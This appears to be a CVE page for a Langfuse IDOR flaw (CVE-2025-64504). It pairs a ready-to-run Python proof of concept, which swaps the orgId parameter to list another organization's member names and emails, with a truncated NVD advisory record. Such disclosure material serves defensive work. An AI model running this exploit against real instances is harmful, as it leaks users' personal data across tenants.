CVE-2025-64504

#!/usr/bin/env python3 """ CVE-2025-64504 PoC - Langfuse IDOR Vulnerability Langfuse versions 2.70.0 - 2.95.10 and 3.0 - 3.124.0 This PoC demonstrates how an authenticated user can enumerate user information from other organizations by manipulating the orgId parameter. """ import requests import json TARGET_URL = "https://your-langfuse-instance.com" ATTACKER_TOKEN = "your-auth-token-here" TARGET_ORG_ID = "target-organization-id-here" def exploit(): """ Exploit the IDOR vulnerability to leak user information from a target organization. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get the legitimate member list (attacker belongs to this org) attacker_org_id = "attacker-organization-id" legitimate_url = f"{TARGET_URL}/api/v1/project/members?orgId={attacker_org_id}" print("[*] Step 1: Fetching legitimate member list...") response = requests.get(legitimate_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully fetched member list for org: {attacker_org_id}") # Step 2: Exploit IDOR - manipulate orgId to access target org members malicious_url = f"{TARGET_URL}/api/v1/project/members?orgId={TARGET_ORG_ID}" print(f"[*] Step 2: Exploiting IDOR - accessing target org: {TARGET_ORG_ID}") response = requests.get(malicious_url, headers=headers) if response.status_code == 200: data = response.json() print("[+] VULNERABLE! Retrieved member information from target org:") if "data" in data: for member in data.get("data", []): print(f" - Name: {member.get('name', 'N/A')}") print(f" Email: {member.get('email', 'N/A')}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False def find_org_id(): """ Enumerate organization IDs by checking different orgId values. """ print("[*] Enumerating organization IDs...") # This would require knowing or guessing org IDs # Attackers might obtain org IDs through other means pass if __name__ == "__main__": print("CVE-2025-64504 Langfuse IDOR PoC") print("=" * 50) exploit()

{"cve": {"id": "CVE-2025-64504", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:39.273", "lastModified": "2025-12-02T19:04:30.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langfuse is an open source large language model engineering platform. Starting in version 2.70.0 and prior to versions 2.95.11 and 3.124.1, in certain project membership APIs, the server trusted a user‑controlled orgId and used it in authorization checks. As a result, any authenticated user on the same Langfuse instance could enumerate names and email addresses of users in another organization if they knew the target organization’s ID. Disclosure is limited to names and email addresses of members/invitees. No customer data such as traces, prompts, or evaluations is exposed or accessible. For Langfuse Cloud, the maintainers ran a thorough investigation of access logs of the last 30 days and could not find any evidence that this vulnerability was exploited. For most self-hosting deployments, the attack surface is significantly reduced given an SSO provider is configured and email/password sign-up is disabled. In these cases, only users who authenticate via the Enterprise SSO IdP (e.g. Okta) would be able to exploit this vulnerability to access the member list, i.e. internal users getting access to a list of other internal users. In order to exploit the vulnerability, the actor must have a valid Langfuse user account within the same instance, know the target orgId, and use the request made to the API that powers the frontend membership tables, including their project/user authentication token, while changing the orgId to the target organization. Langfuse Cloud (EU, US, HIPAA) were affected until fix deployment on November 1, 2025. The maintainers reviewed the Langfuse Cloud access logs from the past 30 days and found no evidence that this vulnerability was exploited. Self-Hosted versions which contain patches include v2.95.11 for major version 2 and v3.124.1 for major version 3. There are no known workarounds. Upgrading is required to fully mitigate this issue."}, {"lang": "es", "value": "Langfuse es una plataforma de ingeniería de modelos de lenguaje grandes de código abierto. A partir de la versión 2.70.0 y antes de las versiones 2.95.11 y 3.124.1, en ciertas API de membresía de proyectos, el servidor confiaba en un orgId controlado por el usuario y lo usaba en las comprobaciones de autorización. Como resultado, cualquier usuario autenticado en la misma instancia de Langfuse podía enumerar nombres y direcciones de correo electrónico de usuarios en otra organización si conocían el ID de la organización objetivo. La divulgación se limita a nombres y direcciones de correo electrónico de miembros/invitados. Ningún dato de cliente como rastros, prompts o evaluaciones está expuesto o accesible. Para Langfuse Cloud, los mantenedores realizaron una investigación exhaustiva de los registros de acceso de los últimos 30 días y no pudieron encontrar ninguna evidencia de que esta vulnerabilidad fuera explotada. Para la mayoría de las implementaciones de autoalojamiento, la superficie de ataque se reduce significativamente dado que un proveedor de SSO está configurado y el registro por correo electrónico/contraseña está deshabilitado. En estos casos, solo los usuarios que se autentican a través del IdP de SSO Empresarial (por ejemplo, Okta) podrían explotar esta vulnerabilidad para acceder a la lista de miembros, es decir, usuarios internos obteniendo acceso a una lista de otros usuarios internos. Para explotar la vulnerabilidad, el actor debe tener una cuenta de usuario válida de Langfuse dentro de la misma instancia, conocer el orgId objetivo y usar la solicitud hecha a la API que alimenta las tablas de membresía del frontend, incluyendo su token de autenticación de proyecto/usuario, mientras cambia el orgId a la organización objetivo. Langfuse Cloud (UE, EE. UU., HIPAA) se vieron afectados hasta el despliegue de la corrección el 1 de noviembre de 2025. Los mantenedores revisaron los registros de acceso de Langfuse Cloud de los últimos 30 días y no encontraron evidencia de que esta vulnerabilidad fuera explotada. Las versiones autoalojadas que contienen parches incluyen v2.95.11 para la versión principal 2 y v3.124.1 para la versión principal 3. No hay soluciones alternativas conocidas. Se requiere actualizar para mitigar completamente este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"sour ... (truncated)